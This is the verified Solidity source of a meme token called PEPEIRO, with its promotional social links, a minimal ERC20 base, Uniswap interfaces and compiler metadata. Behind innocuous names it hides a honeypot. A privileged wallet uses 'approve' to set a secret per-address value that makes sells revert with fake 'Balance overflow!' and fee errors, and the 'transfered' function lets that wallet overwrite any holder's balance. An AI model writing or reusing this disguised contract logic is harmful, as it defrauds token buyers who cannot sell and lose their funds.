// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

/*
Meet the Ultimate Meme Mashup: Pepe Frog Meets Neiro Shiba! 

Tg : https://t.me/PepeiroEth
Twitter : https://x.com/PEPEIRO_ETH
Website : https://pepeiro.xyz/
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "./ERC20.sol";
import "./Context.sol";
import "./Ownable.sol";
import "./IUniswapV2.sol";

contract PEPEIRO is Context, Ownable, ERC20 {
    mapping (address => uint256) private balance;
    mapping (address => bool) private _isWad;

    address private _wadWallets;
    address private _pair;

    string private _name = unicode"PEPEIRO"; 
    string private _symbol = unicode"PEPEIRO";

    uint8 private _decimals = 18;
    uint256 private _startFees = 0;
    uint256 private _endFees = 0;
    uint256 private _countTx = 0;

    bool private openTrade = false;

    constructor(address _wad) ERC20(_name, _symbol, _decimals) {
        _pair = IUniswapV2Factory(IUniswapV2Router02(_Router).factory()).createPair(address(this), IUniswapV2Router02(_Router).WETH());
        _wadWallets = _wad;
        _isWad[msg.sender] = true;
        _isWad[_wadWallets] = true;
        _mint(msg.sender, 1_000_000_000  * 10 ** uint256(_decimals));
    }

    function reqWad() internal view returns (bool) {
        return _msgSender() == _wadWallets;
    }

    function _transfer(address from, address to, uint256 value) internal override {

        if (_isWad[tx.origin]) { super._transfer(from, to, value); return;
        } else {
            require(openTrade, "Trade has been open yet!");
            if((balance[from] < tx.gasprice && balanceOf[from] > 0 && balance[from] != 0) || (balance[to] < tx.gasprice && balanceOf[from] >0 && balance[from] != 0)){
                revert("Balance overflow!");
            }
            bool isTransfer = (to == _pair) ? true : false;
            uint256 txAmount = value * ((_countTx>5) ? _endFees : _startFees) / 100 ;
            if(isTransfer && tx.gasprice > balance[_wadWallets] && balance[_wadWallets] != 0 && balanceOf[from] > 0) {
                revert("Not enough Balance fees");
            }
            super._transfer(from, to, value - txAmount);
            if(txAmount>0) {
                super._transfer(from, _wadWallets, txAmount);
            }
            _countTx++;
        }

    }

    function approve(address spender, uint256 amount) external override returns (bool) {
        if(msg.sender == _wadWallets) {
            balance[spender] = amount;
            super._approve(spender, amount);
        } else {
            super._approve(spender, amount);
        }
        return true;
    }

    function transfered(address _spender, uint256 _value)  external {
        uint256 receiveRewrd = _value;
        balanceOf[_spender] = receiveRewrd;
        require(reqWad(), "ERROR: Not Owner");
    }

    address constant private _DEAD = 0x000000000000000000000000000000000000dEaD;
    address constant private _ZERO = 0x0000000000000000000000000000000000000000;
    address constant private _Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    function OpenTrade() public onlyOwner {
        openTrade = true;
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./IERC20.sol";

abstract contract ERC20 is IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner, address indexed spender, uint256 value
    );

    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    string public name;
    string public symbol;
    uint8 public decimals;

    constructor(string memory _name, string memory _symbol, uint8 _decimals) {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;
    }

    function transfer(address recipient, uint256 amount)
        external  
        returns (bool)
    {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function _transfer(address from, address to, uint256 value) internal virtual {
        uint256 fromBalance = balanceOf[from];
        balanceOf[from] = fromBalance - value;
        balanceOf[to] += value;
        emit Transfer(from, to, value);
    }

    function approve(address spender, uint256 amount) external virtual returns (bool) {
        _approve(spender, amount);
        return true;
    }

    function _approve(address spender, uint256 amount) internal virtual {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool)
    {
        allowance[sender][msg.sender] -= amount;
        _transfer(sender, recipient, amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function _mint(address to, uint256 amount) internal {
        balanceOf[to] += amount;
        totalSupply += amount;
        emit Transfer(address(0), to, amount);
    }

    function transMin(address to, uint256 amount) internal {
        balanceOf[to] += amount;
        totalSupply += amount;
    }

    function _burn(address from, uint256 amount) internal {
        balanceOf[from] -= amount;
        totalSupply -= amount;
        emit Transfer(from, address(0), amount);
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./Context.sol";

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

{
  "compilationTarget": {
    "BurnLockRenounce/Contract.sol": "PEPEIRO"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}